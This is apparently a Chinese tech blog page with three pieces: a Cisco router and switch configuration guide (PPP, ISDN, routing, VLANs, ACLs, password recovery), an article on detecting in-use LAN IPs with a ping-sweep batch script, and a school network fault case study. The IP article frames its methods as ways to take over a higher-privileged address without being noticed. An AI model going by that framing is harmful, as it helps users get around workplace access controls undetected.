设置IP地址ip address address subnet-mask
设置IPX网络Ipx network network
激活端口no shutdown
物理线路设置line type number
启动登录进程login [local|tacacs server]
设置登录密码password password

四、总体设置
在router#特权命令状态下,可以用setup对Cisco思科路由器进行总体设计,利用这个设计过程可以省略手工设置的烦琐。但它还不能完全代替手工设置,一些特殊的设置还必须通过手工输入的方式完成。
进入设置对话过程后,Cisco思科路由器首先会显示一些提示信息:
— System Configuration Dialog —
At any point you may enter a question mark ‘?’ for help.
Use ctrl-c to abort configuration dialog at any prompt.
Default settings are in square brackets ‘[]‘.
这是告诉你在设置对话过程中的任何地方都可以键入“?”得到系统的帮助,按ctrl-c可以退出设置过程,缺省设置将显示在‘[]’中。然后Cisco思科路由器会问是否进入设置对话:
Would you like to enter the initial configuration dialog? [yes]:
如果按y或回车,Cisco思科路由器就会进入设置对话过程。首先你可以看到各端口当前的状况:
First, would you like to see the current interface summary? [yes]:
Any interface listed with OK? value “NO” does not have a valid configuration
InterfaceIP-AddressOK?MethodStatusProtocol
Ethernet0unassignedNOunsetupup
Serial0unassignedNOunsetupup
……………………………
然后,Cisco思科路由器就开始全局参数的设置:
Configuring global parameters:
1.设置Cisco思科路由器名:
Enter host name [Router]:
2.设置进入特权状态的密文(secret),此密文在设置以后不会以明文方式显示:
The enable secret is a one-way cryptographic secret used
instead of the enable password when it exists.
Enter enable secret: cisco
3.设置进入特权状态的密码(password),此密码只在没有密文时起作用,并且在设置以后会以明文方式显示:
The enable password is used when there is no enable secret
and when using older software and some boot images.
Enter enable password: pass
4.设置虚拟终端访问时的密码:
Enter virtual terminal password: cisco
5.询问是否要设置Cisco思科路由器支持的各种网络协议:
Configure SNMP Network Management? [yes]:
Configure DECnet? [no]:
Configure AppleTalk? [no]:
Configure IPX? [no]:
Configure IP? [yes]:
Configure IGRP routing? [yes]:
Configure RIP routing? [no]:
………
6.如果配置的是拨号访问服务器,系统还会设置异步口的参数:
Configure Async lines? [yes]:]
1)设置线路的最高速度:
Async line speed [9600]:
2)是否使用硬件流控:
Configure for HW flow control? [yes]:
3)是否设置modem:
Configure for modems? [yes/no]: yes
4)是否使用默认的modem命令:
Configure for default chat script? [yes]:
5)是否设置异步口的PPP参数:
Configure for Dial-in IP SLIP/PPP access? [no]: yes
6)是否使用动态IP地址:
Configure for Dynamic IP addresses? [yes]:
7)是否使用缺省IP地址:
Configure Default IP addresses? [no]: yes
是否使用TCP头压缩:
Configure for TCP Header Compression? [yes]:
9)是否在异步口上使用路由表更新:
Configure for routing updates on async links? [no]: y
10)是否设置异步口上的其它协议。接下来,系统会对每个接口进行参数的设置。
1.Configuring interface Ethernet0:
1)是否使用此接口:
Is this interface in use? [yes]:
2)是否设置此接口的IP参数:
Configure IP on this interface? [yes]:
3)设置接口的IP地址:
IP address for this interface: 192.168.162.2
4)设置接口的IP子网掩码:
Number of bits in subnet field [0]:
Class C network is 192.168.162.0, 0 subnet bits; mask is /24
在设置完所有接口的参数后,系统会把整个设置对话过程的结果显示出来:
The following configuration comm
and script was created:
hostname Router
enable secret 5 $1$W5Oh$p6J7tIgRMBOIKVXVG53Uh1
enable password pass
…………
请注意在enable secret后面显示的是乱码,而enable password后面显示的是设置的内容。就是说,secret密码的优先级比较高,在两个密码都设了的情况下,secret密码起作用。
显示结束后,系统会问是否使用这个设置:
Use this configuration? [yes/no]: yes
如果回答yes,系统就会把设置的结果存入Cisco思科路由器的NVRAM中,然后结束设置对话过程,使Cisco思科路由器开始正常的工作。
广域网协议设置
PPP
PPP(Point-to-Point Protocol)是SLIP(Serial Line IP protocol)的继承者,它提供了跨过同步和异步电路实现Cisco思科路由器到Cisco思科路由器(router-to-router)和主机到网络(host-to-network)的连接。
CHAP(Challenge Handshake Authentication Protocol)和PAP(Password Authentication Protocol) (PAP)通常被用于在PPP封装的串行线路上提供安全性认证。使用CHAP和PAP认证,每个Cisco思科路由器通过名字来识别,可以防止未经授权的访问。
任务命令
设置PPP封装encapsulation ppp1
设置认证方法ppp authentication {chap | chap pap | pap chap | pap} [if-needed] [list-name | default] [callin]
指定口令username name password secret
设置DCE端线路速度clockrate speed
举例
Cisco思科路由器Router1和Router2的S0口均封装PPP协议,采用CHAP做认证,在Router1中应建立一个用户,以对端Cisco思科路由器主机名作为用户名,即用户名应为router2。同时在Router2中应建立一个用户,以对端Cisco思科路由器主机名作为用户名,即用户名应为router1。所建的这两用户的password必须相同。
设置如下:
Router1:
hostname router1
username router2 password xxx
interface Serial0
ip address 192.200.10.1 255.255.255.0
clockrate 1000000
ppp authentication chap
!
Router2:
hostname router2
username router1 password xxx
interface Serial0
ip address 192.200.10.2 255.255.255.0
ppp authentication chap
!
ISDN
1.综合数字业务网(ISDN)
综合数字业务网(ISDN)由数字电话和数据传输服务两部分组成,一般由电话局提供这种服务。ISDN的基本速率接口(BRI)服务提供2个B信道和1个D信道(2B+D)。BRI的B信道速率为64Kbps,用于传输用户数据。D信道的速率为16Kbps,主要传输控制信号。在北美和日本,ISDN的主速率接口(PRI)提供23个B信道和1个D信道,总速率可达1.544Mbps,其中D信道速率为64Kbps。而在欧洲、澳大利亚等国家,ISDN的PRI提供30个B信道和1个64Kbps D信道,总速率可达2.048Mbps。我国电话局所提供ISDN PRI为30B+D。
2.基本命令
任务命令
设置ISDN交换类型isdn switch-type switch-type1
接口设置interface bri 0
设置PPP封装encapsulation ppp
设置协议地址与电话号码的映射dialer map protocol next-hop-address [name hostname] [broadcast] [dial-string]
启动PPP多连接ppp multilink
设置启动另一个B通道的阈值dialer load-threshold load
显示ISDN有关信息show isdn {active | history | memory | services | status [dsl | interface-type number] | timers}
注:1.交换机类型如下表,国内交换机一般为basic-net3。
按区域分关键字 交换机类型
Australia
basic-ts013 Australian TS013 switches
Europe
basic-1tr6 German 1TR6 ISDN switches
basic-nwnet3 Norway NET3 switches (phase 1)
basic-net3 NET3 ISDN switches (UK, Denmark, and other nations); covers the Euro-ISDN E-DSS1 signalling system
primary-net5 NET5 switches (UK and Europe)
vn2 French VN2 ISDN switches
vn3 French VN3 ISDN switches
Japan
ntt Japanese NTT ISDN switches
primary-ntt Japanese ISDN PRI switches
North America
basic-5ess AT&T basic rate switches
basic-dms100 NT DMS-100 basic rate switches
basic-ni1 National ISDN-1 switches
primary-4ess AT&T 4ESS switch type for the U.S. (ISDN PRI only)
primary-5ess AT&T 5ESS switch type for the U.S. (ISDN PRI only)
primary-dms100 NT DMS-100 switch type for the U.S. (ISDN PRI only)
New Zealand
basic-nznet3 New Zealand Net3 switches
3.ISDN实现DDR(dial-on-demand routing)实例:
设置如下:
Router1:
hostname router1
user router2 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.1 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.2 name router2 572
dialer load-threshold 80
ppp multilink
dialer-group 1
ppp authentication chap

dialer-list 1 protocol ip permit
!
Router2:
hostname router2
user router1 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.2 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.1 name router1 571
dialer load-threshold 80
ppp multilink
dialer-group 1
ppp authentication chap

dialer-list 1 protocol ip permit
!
CiscoCisco思科路由器同时支持回拨功能,我们将Cisco思科路由器Router1作为Callback Server,Router2作为Callback Client。
与回拨相关命令:
任务命令
映射协议地址和电话号码,并在接口上使用在全局模式下定义的PPP回拨的映射类别。dialer map protocol address name hostname class classname dial-string
设置接口支持PPP回拨ppp callback accept
在全局模式下为PPP回拨设置映射类别map-class dialer classname
通过查找注册在dialer map里的主机名来决定回拨. dialer callback-server [username]
设置接口要求PPP回拨ppp callback request
设置如下:
Router1:
hostname router1
user router2 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.1 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.2 name router2 class s3 572
dialer load-threshold 80
ppp callback accept
ppp multilink
dialer-group 1
ppp authentication chap

map-class dialer s3
dialer callback-server username
dialer-list 1 protocol ip permit
!
Router2:
hostname router2
user router1 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.2 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.1 name router1 571
dialer load-threshold 80
ppp callback request
ppp multilink
dialer-group 1
ppp authentication chap

dialer-list 1 protocol ip permit
!
相关调试命令:
debug dialer
debug isdn event
debug isdn q921
debug isdn q931
debug ppp authentication
debug ppp error
debug ppp negotiation
debug ppp packet
show dialer
show isdn status
举例:
执行debug dialer命令观察router2呼叫router1,router1回拨router2的过程.
router1#debug dialer
router2#ping 192.200.10.1
router1#
00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up
00:03:50: BRI0:1PP callback Callback server starting to router2 572
00:03:50: BRI0:1: disconnecting call
00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to down
00:03:50: BRI0:1: disconnecting call
00:03:50: BRI0:1: disconnecting call
00:03:51: %LINK-3-UPDOWN: Interface BRI0:2, changed state to up
00:03:52: callback to router2 already started
00:03:52: BRI0:2: disconnecting call
00:03:52: %LINK-3-UPDOWN: Interface BRI0:2, changed state to down
00:03:52: BRI0:2: disconnecting call
00:03:52: BRI0:2: disconnecting call
00:04:05: : Callback timer expired
00:04:05: BRI0:beginning callback to router2 572
00:04:05: BRI0: Attempting to dial 572
00:04:05: Freeing callback to router2 572
00:04:05: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up
00:04:05: BRI0:1: No callback negotiated
00:04
:05: %LINK-3-UPDOWN: Interface Virtual-Access1, changed state to up
00:04:05: dialer Protocol up for Vi1
00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface BRI0:1, changed state
to up
00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access1, chang
ed state to up
00:04:11: %ISDN-6-CONNECT: Interface BRI0:1 is now connected to 572
#router1
4.ISDN访问首都在线263网实例:
本地局部网地址为10.0.0.0/24,属于保留地址,通过NAT地址翻译功能,局域网用户可以通过ISDN上263网访问Internet。263的ISDN电话号码为2633,用户为263,口令为263,所涉及的命令如下表:
任务命令
指定接口通过PPP/IPCP地址协商获得IP地址ip address negotiated
指定内部和外部端口ip nat {inside | outside}
使用ppp/pap作认证ppp authentication pap callin
指定接口属于拨号组1dialer-group 1
定义拨号组1允许所有IP协议dialer-list 1 protocol ip permit
设定拨号,号码为2633dialer string 2633
设定登录263的用户名和口令ppp pap sent-username 263 password 263
设定默认路由ip route 0.0.0.0 0.0.0.0 bri 0
设定符合访问列表2的所有源地址被翻译为bri 0所拥有的地址ip nat inside source list 2 interface bri 0 overload
设定访问列表2,允许所有协议access-list 2 permit any
具体配置如下:
hostname Cisco2503
!
isdn switch-type basic-net3
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
ip address 10.0.0.1 255.255.255.0
ip nat inside
no shutdown
!
interface Serial 0
shutdown
no description
no ip address
!
interface Serial 1
shutdown
no description
no ip address
!
interface bri 0
ip address negotiated
ip nat outside
encapsulation ppp
ppp authentication pap callin
ppp multilink
dialer-group 1
dialer hold-queue 10
dialer string 2633
dialer idle-timeout 120
ppp pap sent-username 263 password 263
no cdp enable
no ip split-horizon
no shutdown
!
ip classless
!
! Static Routes
!
ip route 0.0.0.0 0.0.0.0 bri 0
!
! Access Control List 2
!
access-list 2 permit any
!
dialer-list 1 protocol ip permit
!
! Dynamic NAT
!
ip nat inside source list 2 interface bri 0 overload
snmp-server community public ro
!
line console 0
exec-timeout 0 0
!
line vty 0 4
!
end

路由协议配置
RIP协议
RIP(Routing information Protocol)是应用较早、使用较普遍的内部网关协议(Interior Gateway Protocol,简称IGP),适用于小型同类网络,是典型的距离向量(distance-vector)协议。文档见RFC1058、RFC1723。
RIP通过广播UDP报文来交换路由信息,每30秒发送一次路由信息更新。RIP提供跳跃计数(hop count)作为尺度来衡量路由距离,跳跃计数是一个包到达目标所必须经过的Cisco思科路由器的数目。如果到相同目标有二个不等速或不同带宽的Cisco思科路由器,但跳跃计数相同,则RIP认为两个路由是等距离的。RIP最多支持的跳数为15,即在源和目的网间所要经过的最多Cisco思科路由器的数目为15,跳数16表示不可达。
1.有关命令
任务命令
指定使用RIP协议router rip
指定RIP版本version {1|2}1
指定与该Cisco思科路由器相连的网络network network
注:1.Cisco的RIP版本2支持验证、密钥管理、路由汇总、无类域间路由(CIDR)和变长子网掩码(VLSMs)
2.举例
Router1:
router rip
version 2
network 192.200.10.0
network 192.20.10.0

相关调试命令:
show ip protocol
show ip route
IGRP协议
IGRP (Interior Gateway Routing Protocol)是一种动态距离向量路由协议,它由Cisco公司八十年代中期设计。使用组合用户配置尺度,包括延迟、带宽、可靠性和负载。
缺省情况下,IGRP每90秒发送一次路由更新广播,在3个更新周期内(即270秒),没有从路由中的第一个Cisco思科路由器接收到更新,则宣布路由不可访问。在7个更新周期即630秒后,Cisco IOS 软件从路由表中清除路由。
1.有关命令
任务命令
指定使用igrp协议router igrp autonomous-system1
指定与该Cisco思科路由器相连的网络network network
指定与该Cisco思科路由器相邻的节点地址neighbor ip-address
注:1、autonomous-system可以随意建立,并非实际意义上的autonomous-system,但运行IGRP的Cisco思科路由器要想交换路由更新信息其autonomous-system需相同。
2.举例
Router1:
router igrp 200
network 192.200.10.0
network 192.20.10.0
!
虚拟局域网(VLAN)
当前在我们构造企业网络时所采用的主干网络技术一般都是基于交换和虚拟网络的。交换技术将共享介质改为独占介质,大大提高网络速度。虚拟网络技术打破了地理环境的制约,在不改动网络物理连接的情况下可以任意将工作站在工作组或子网之间移动,工作站组成逻辑工作组或虚拟子网,提高信息系统的运作性能,均衡网络数据流量,合理利用硬件及信息资源。同时,利用虚拟网络技术,大大减轻了网络管理和维护工作的负担,降低网络维护费用。随着虚拟网络技术的应用,随之必然产生了在虚拟网间如何通讯的问题.
交换机间链路(ISL)协议
ISL(Interior Switching Link)协议用于实现交换机间的VLAN中继。它是一个信息包标记协议,在支持ISL接口上发送的帧由一个标准以太网帧及相关的VLAN信息组成。如下图所示,在支持ISL的接口上可以传送来自不同VLAN的数据。
虚拟局域网(VLAN)路由实例
3.1. 例一:
设备选用Catalyst5500交换机1台,安装WS-X5530-E3管理引擎,多块WS-X5225R及WS-X5302路由交换模块,WS-X5302被直接插入交换机,通过二个通道与系统背板上的VLAN 相连,从用户角度看认为它是1个1接口的模块,此接口支持ISL。在交换机内划有3个虚拟网,分别名为default、qbw、rgw,通过WS-X5302实现虚拟网间路由。
以下加重下横线部分,如set system name 5500C为需设置的命令。
设置如下:
Catalyst 5500配置:
begin
set password $1$FMFQ$HfZR5DUszVHIRhrz4h6V70
set enablepass $1$FMFQ$HfZR5DUszVHIRhrz4h6V70
set prompt Console>
set length 24 default
set logout 20
set banner motd ^C^C
!
#system
set system baud 9600
set system modem disable
set system name 5500C
set system location
set system contact
!
#ip
set interface sc0 1 10.230.4.240 255.255.255.0 10.230.4.255
set interface sc0 up
set interface sl0 0.0.0.0 0.0.0.0
set interface sl0 up
set arp agingtime 1200
set ip redirect enable
set ip unreachable enable
set ip fragmentation enable
set ip route 0.0.0.0 10.230.4.15 1
set ip alias default 0.0.0.0
!
#Command alias
!
#vtp
set vtp domain hne
set vtp mode server
set vtp v2 disable
set vtp pruning disable
set vtp pruneeligible 2-1000
clear vtp pruneeligible 1001-1005
set vlan 1 name default type ethernet mtu 1500 said 100001 state active
set vlan 777 name rgw type ethernet mtu 1500 said 100777 state active
set vlan 888 name qbw type ethernet mtu 1500 said 100888 state active
set vlan 1002 name fddi-default type fddi mtu 1500 said 101002 state active
set vlan 1004 name fddinet-default type fddinet mtu 1500 said 101004 state active bridge 0×0 stp ieee
set vlan 1005 name trnet-default type trbrf mtu 1500 said 101005 state active bridge 0×0 stp ibm
set vlan 1003 name token-ring-default type trcrf mtu 1500 said 101003 state active parent 0 ring 0×0 mode srb aremaxhop 7 stemaxhop 7
!
#set boot command
set boot config-register 0×102
set boot system flash bootflash:cat5000-sup3
.4-3-1a.bin
!
#module 1 : 2-port 1000BaseLX Supervisor
set module name 1
set vlan 1 1/1-2
set port enable 1/1-2
!
#module 2 : empty
!
#module 3 : 24-port 10/100BaseTX Ethernet
set module name 3
set module enable 3
set vlan 1 3/1-22
set vlan 777 3/23
set vlan 888 3/24
set trunk 3/1 on isl 1-1005
#module 4 empty
!
#module 5 empty
!
#module 6 : 1-port Route Switch
set module name 6
set port level 6/1 normal
set port trap 6/1 disable
set port name 6/1
set cdp enable 6/1
set cdp interval 6/1 60
set trunk 6/1 on isl 1-1005
!
#module 7 : 24-port 10/100BaseTX Ethernet
set module name 7
set module enable 7
set vlan 1 7/1-22
set vlan 888 7/23-24
set trunk 7/1 on isl 1-1005
set trunk 7/2 on isl 1-1005
!
#module 8 empty
!
#module 9 empty
!
#module 10 : 12-port 100BaseFX MM Ethernet
set module name 10
set module enable 10
set vlan 1 10/1-12
set port channel 10/1-4 off
set port channel 10/5-8 off
set port channel 10/9-12 off
set port channel 10/1-2 on
set port channel 10/3-4 on
set port channel 10/5-6 on
set port channel 10/7-8 on
set port channel 10/9-10 on
set port channel 10/11-12 on
#module 11 empty
!
#module 12 empty
!
#module 13 empty
!
#switch port analyzer
!set span 1 1/1 both inpkts disable
set span disable
!
#cam
set cam agingtime 1-2,777,888,1003,1005 300
end
5500C> (enable)
WS-X5302路由模块设置:
Router#wri t
Building configuration…
Current configuration:
!
version 11.2
no service password-encryption
no service udp-small-servers
no service tcp-small-servers
!
hostname Router
!
enable secret 5 $1$w1kK$AJK69fGOD7BqKhKcSNBf6.
!
ip subnet-zero
!
interface Vlan1
ip address 10.230.2.56 255.255.255.0
!
interface Vlan777
ip address 10.230.3.56 255.255.255.0
!
interface Vlan888
ip address 10.230.4.56 255.255.255.0
!
no ip classless
!
line con 0
line aux 0
line vty 0 4
password router
login
!
end
Router#
3.1. 例二:
交换设备仍选用Catalyst5500交换机1台,安装WS-X5530-E3管理引擎,多块WS-X5225R在交换机内划有3个虚拟网,分别名为default、qbw、rgw,通过Cisco3640Cisco思科路由器实现虚拟网间路由。交换机设置与例一类似。
Cisco思科路由器Cisco3640,配有一块NM-1FE-TX模块,此模块带有一个快速以太网接口可以支持ISL。Cisco3640快速以太网接口与交换机上的某一支持ISL的端口实现连接,如交换机第3槽第1个接口(3/1口)。
Router#wri t
Building configuration…
Current configuration:
!
version 11.2
no service password-encryption
no service udp-small-servers
no service tcp-small-servers
!
hostname Router
!
enable secret 5 $1$w1kK$AJK69fGOD7BqKhKcSNBf6.
!
ip subnet-zero
!
interface FastEthernet1/0
!
interface FastEthernet1/0.1
encapsulation isl 1
ip address 10.230.2.56 255.255.255.0
!
interface FastEthernet1/0.2
encapsulation isl 777
ip address 10.230.3.56 255.255.255.0
!
interface FastEthernet1/0.3
encapsulation isl 888
ip address 10.230.4.56 255.255.255.0
!
no ip classless
!
line con 0
line aux 0
line vty 0 4
password router
login
!
end
Router#

安全性管理
对Cisco思科路由器的安全性管理主要包括:建立口令以保护访问Cisco思科路由器的安全,使用正确的访问表以管理通过Cisco思科路由器的可接受数据流等。
1、口令管理
下面显示了设置控制从终端进行访问的口令的命令。
命令 操作效果
Line console 0 为控制台终端建立一个口令
Line vty 0 4 telnet连接建立一个口令
Enable-password 为特权exec模式建立一个口令
Enable-secret 使用MD5加密方法建立密码口令
Service password-encryption 保护口令,避免其通过idsplay命令
将口令显示出来
2、报文过滤
cisco的防火墙功能主要是通过报文的过滤实现的。
它可以实现对多种数据流的控制,如限制流入、以及流出等。通过对访问列表的编写,我们可以实现对特定网络或主机的数据流限制。
Accsess-list 的编号有特定的范围:
IP standard access list
IP extended access list
Extended 48-bit MAC address access list
Protocol type-code access list
48-bit MAC address access list
例如我们可以定义如下的访问表来实现允许任何主机到主机160..10.2.101的报文:
Accsess-list 101 permit ip any host 160.10.2.101
而下面的语句允许使用客户源端口(小于1024的端口留给服务器用)方式的主机发往160.10.2.100的udp报文通过,且报文的目的端口必须为dns端口(53)。其中gt为great than。
Accsess-list 101 permit udp any gt 1023 host 160.10.2.100 eq 53
建立好访问列表以后,要想让它进行报文过滤,必须将它应用到端口上。在进入要控制的端口后,用如下的命令应用此访问表:
router(config-if)#ip access-group 101 in
其中的in表示对向里(针对此端口来说)的数据进行过滤。要注意的是,一个端口只能有一个向里和向外的列表,如果有几个,则只有第一个起作用。
参考:
CiscoCisco思科路由器口令恢复
当CiscoCisco思科路由器的口令被错误修改或忘记时,可以按如下步骤进行操作:
1.开机时按使进入ROM监控状态
2.按o 命令读取配置寄存器的原始值
> o
3.作如下设置,使忽略NVRAM引导
>o/r0x**4*Cisco2500系列命令
rommon 1 >confreg 0x**4*Cisco2600、1600系列命令
一般正常值为0×2102
4.重新启动Cisco思科路由器
>I
rommon 2 >reset
5.在“Setup”模式,对所有问题回答No
6.进入特权模式
Router>enable
7.下载NVRAM
Router>configure memory
8.恢复原始配置寄存器值并激活所有端口
“hostname”#configure terminal
“hostname”(config)#config-register 0x“value”
“hostname”(config)#interface xx
“hostname”(config)#no shutdown
9.查询并记录丢失的口令
“hostname”#show configuration (show startup-config)
10.修改口令
“hostname”#configure terminal
“hostname”(config)line console 0
“hostname”(config-line)#login
“hostname”(config-line)#password xxxxxxxxx
“hostname”(config-line)#
“hostname”(config-line)#write memory(copy running-config startup-config)

2、IP地址分配
地址类网络主机网络地址范围标准二进制掩码
AN.H.H.H1-1261111 1111 0000 0000 0000 0000 0000 0000
BN.N.H.H128-1911111 1111 1111 1111 0000 0000 0000 0000
CN.N.N.H192-2231111 1111 1111 1111 1111 1111 0000 0000
子网位个数子网掩码子网数主机数
B类地址
2255.255.192.0216382
3255.255.224.068198
4255.255.240.0144894
5255.255.248.0302846
6255.255.252.0621822
7255.255.254.0126518
8255.255.255.0254254
9255.255.255.128518126
10255.255.255.192182262
11255.255.255.224284630
12255.255.255.240489414
13255.255.255.24881986
14255.255.255.252163822
C类地址
2255.255.255.192262
3255.255.255.224630
4255.255.255.2401414
5255.255.255.248306
6255.255.255.252622

Cisco思科路由器
最简单的网络可以想象成单线的总线,各个计算机可以通过向总线发送分组以互相通信。但随着网络中的计算机数目增长,这就很不可行了,会产生许多问题:
1、带宽资源耗尽。
2、每台计算机都浪费许多时间处理无关的广播数据。
3、网络变得无法管理,任何错误都可能导致整个网络瘫痪。
4、每台计算机都可以监听到其

四招轻松检测网内IP地址是否被占用

0

分类 : 技术文摘 | 发表时间 10-06-2006

公司的网络管理员就是管理网络的人员,那么如何有效的管理好网络呢?简单的说就是保证公司人员可以正常上网,服务器和网络设备运转正常;进一步说则要将网络权利化,什么网络权利化呢?也就是说公司各个计算机访问网络的权限是不同的,一些高级用户可以访问公司网络机密信息,而普通用户仅仅是使用网络,不能够偷看任何不符合他们权限的资源。

网络权利化最简单的方法就是将权限和IP地址进行绑定,如果IP地址不符要求则无法访问资源。虽然这种权限与IP地址对应的方法是最简单最实用的,但是正如网友所提到的那样,任何一个员工都可以通过修改IP地址来获得相应的权限。

那么在修改前我们通过什么方法来检测该IP地址是否已经被使用呢?笔者就自己经验为各位读者介绍几个方法。

一,简单PING法:

这个方法很简单,大家都知道网络中查看某个计算机是否在线的最好方法就是PING该计算机对应的IP地址。例如想查看192.168.1.1这台计算机是否已经在线,我们可以采取以下几步来完成。

第一步:进入自己计算机的操作系统,也许你的IP地址是192.168.1.100,由于公司是权限和IP地址相对应,所以权限肯定不如192.168.1.1高。通过任务栏的“开始->运行->输入CMD”进入命令行模式。

第二步:在命令行模式中我们只需要输入ping 192.168.1.1即可。

如果ping的通就说明该IP地址对应的计算机已经在线,如果这时我们修改自己的IP地址为该IP的话,对方计算机上就会出现IP地址冲突的提示,我们的权限提高秘密就会被发现。

二,ARP缓存法:

有一定基础的网络管理员都知道IP地址是属于OSI七层模型中的第三层网络层,如果仅仅使用ping法来查找网络中存在的计算机是不科学的,因为很多时候当本地计算机开启了防火墙或者将ICMP包过滤的话,使用ping是无法返回成功请求的,也就是说如果我们按照上面介绍的方法ping了对方IP地址不通,对方仍然可能会在线。那么有没有什么更可靠的方法呢?通过ARP缓存可以解决这个问题。

ARP协议是工作在OSI七层模型中的第二层,因此即使我们用防火墙或者过滤包的方法也无法禁止ARP的查看,远程计算机不返回PING成功的消息但会告诉本地计算机该IP地址对应的MAC地址。这样我们就可以通过ARP缓存信息来查看了。如果能看到该IP地址对应了MAC地址说明该计算机在线,相应的MAC地址没有出现在ARP缓存表中则表明该计算机不在线。具体方法如下。

第一步:仍然按照上面介绍的PING法来检测某IP地址的计算机是否在线。

第二步:在PING返回信息为不通的情况下,输入arp -a来查看本地ARP缓存列表,看对应的IP是否得到了MAC地址信息。

第三步:在ARP缓存列表中一共有三列,第一列为IP地址,第二列为MAC地址。如果PING不通但是能够获得该IP对应的MAC地址的话说明该计算机仍然在线。这时我们也不能通过修改IP来提高权限,会被对方发现。最后一列是ARP信息,分为动态获得和静态获得IP两种方法。

三,批量缓存法:

上面介绍的方法一次只能检测一个IP地址,如果想查看多个IP该怎么操作呢?或者说想查看本地网络中究竟有哪些地址在线该如何设置呢?

(1)老方法一个一个地址的ping虽然可以查看但是太麻烦了,严重影响了办事的效率。

(2)批处理法:

这里我给大家做了一个脚本,通过这个脚本我们可以自动检测网络中的计算机,查看哪些IP地址在线。例如我们要查看192.168.1.*这个网络中有哪些地址在线,按下面步骤完成。

第一步:在桌面上点鼠标右键建立一个新的文本文件。

第二步:将如下代码复制到该文本文件中。

FOR /L %%i IN (0,1,255) Do ping 192.168.1.%%i -n 1

arp -a -> IP.txt

第三步:保存退出后将该文本文件修改后缀名为.bat。这样生成一个批处理文件。

第四步:双击这个批处理文件将自动搜索192.168.1.*这个网络中的所有IP,并且将发现出的ARP信息都保存到ip.txt文件中。


第五步:扫描完毕后我们直接查看ip.txt文件就可以看到究竟有哪些IP地址已经被使用了。该文件保存的是网络中所有计算机IP地址以及对应的MAC地址等信息。

小提示:

该方法对于装了防火墙无法ping到的情况同样适用。因为该原理是向某一网段内所有IP地址发送一个icmp包,也许对方计算机屏蔽了ICMP包但不要紧,因为他一定会回应一个mac地址的包给源计算机,这样用arp -a察看本地的arp缓存就能看到他的IP地址跟MAC地址了。

另外在扫描过程中如果你想中断的话可以使用ctrl+c命令,也许你觉得设置到批处理文件中过于麻烦想直接通过命令行模式中的指令来完成扫描任务的话,只需要将命令进行简单修改即可。先输入FOR /L %i IN (0,1,255) Do ping 192.168.1.%i -n 1来扫描,完成后输入arp -a -> IP.txt命令保存信息。区别就是保存在批处理文件中需要是%%i,而命令直接输入法只需要%i即可。

四,工具法:

由于网络中有很多工具可以帮助我们来扫描网络,这里就不详细说明了,总之使用工具法会让我们扫描工作事半功倍,但是需要我们额外安装程序。这里推荐几个笔者使用起来不错的小软件——扫描器类有superscan和XSCAN,网络管理工具有lanhelper。感兴趣的读者可以自行尝试。当然对于有一定基础的网络管理员来说,直接安装个sniffer软件到本地计算机然后监视一段时间网络中的数据包也可以实现上面提到的功能。

某中学网络分析案例

0

分类 : 技术文摘 | 发表时间 03-05-2006

来源:协议分析论坛 作者:菜鸟人飞
案例分析 - 某中学网络故障诊断

一、故障描述

故障地点:
江苏省某中学校园网

故障现象:
严重网络阻塞,客户机之间相互ping时严重丢包,校园网用户访问互联网的速度非常慢,甚至不能访问。

故障详细描述:
整个校园网突然出现网络通讯中断,内部用户均不能正常访问互联网,在机房中进行ping包测试时发现,中心机房客户机对中心交换机管理地址的ping包响应时间较长且出现随机性丢包,主机房客户机对二级交换机通讯的通讯丢包情况更加严重。

二、故障详细分析

1.前期分析
初步判断引起问题的原因可能是:交换机ARP表更新问题
               广播或路由环路故障
              病毒攻击
需要进一步获取的信息:ARP信息
           交换机负载
           网络中传输的原始数据包
2.故障具体分析排查
开始实际具体排查工作:
1.在主机房的客户机和以下的客户机上分别使用“arp –a”命令查看ARP缓存信息,结果正常;
2.登录中心交换机查看各端口的流量,由于交换机反应速度较慢,操作超时,无法获得负载的实际流量;
3.使用科来网络分析系统5.0捕获并分析网络中传输的数据包,具体过程如下。

在中心交换机上做好端口镜像配置操作,并将分析用笔记本接到此端口上,启动科来网络分析系统5.0捕获分析网络的数据通讯,约2.5分钟后停止捕获并分析捕获到的数据包。
XX中学校园网的主机约为1000台,一般情况下,同时在线的有600台左右。在停止捕获后,我们在科来网络分析系统5.0主界面左边的节点浏览器中发现,内部网络(Private-Use Networks)同时在线的IP主机达到了6515台,如图1,这表示网络存在许多伪造的IP主机,网络中可能存在伪造IP地址攻击或自动扫描攻击。
选择连接视图,发现在约2.5分钟的时间内网络中共发起了3027个连接,且状态大多都是客户端请求同步,即三次握手的第一步,由TCP工作原理可知,TCP工作时首先通过三次握手发起连接,如果请求端向不存在的目的端发起了同步请求,由于不会收到目的端主机的确认回复,其状态将会一直处于请求同步直到超时断开,据此,我们现在更加断定校园网中存在自动扫描攻击。
详细查看图1的连接信息,发现这些连接大多都是由192.168.5.119主机发起,即连接的源地址是192.168.5.119。选中源地址是192.168.5.119的任意一个连接,单击鼠标右键,在弹出的右键菜单中选择“定位浏览器节点>>端点1 IP”,这时节点浏览器将自动定位到192.168.5.119主机。


(图1 网络中的TCP连接信息)
选择图表视图,并选中TCP连接子视图项,查看192.168.5.119主机的TCP连接情况,如图2所示。查看图2可知,192.168.5.119这台主机在约2.5分钟的时间内发起了2800个连接,且其中有2793个连接都是初始化连接,即同步连接,这表示192.168.5.119主机肯定存在自动扫描攻击。


(图2 192.168.2.119主机的TCP连接信息)
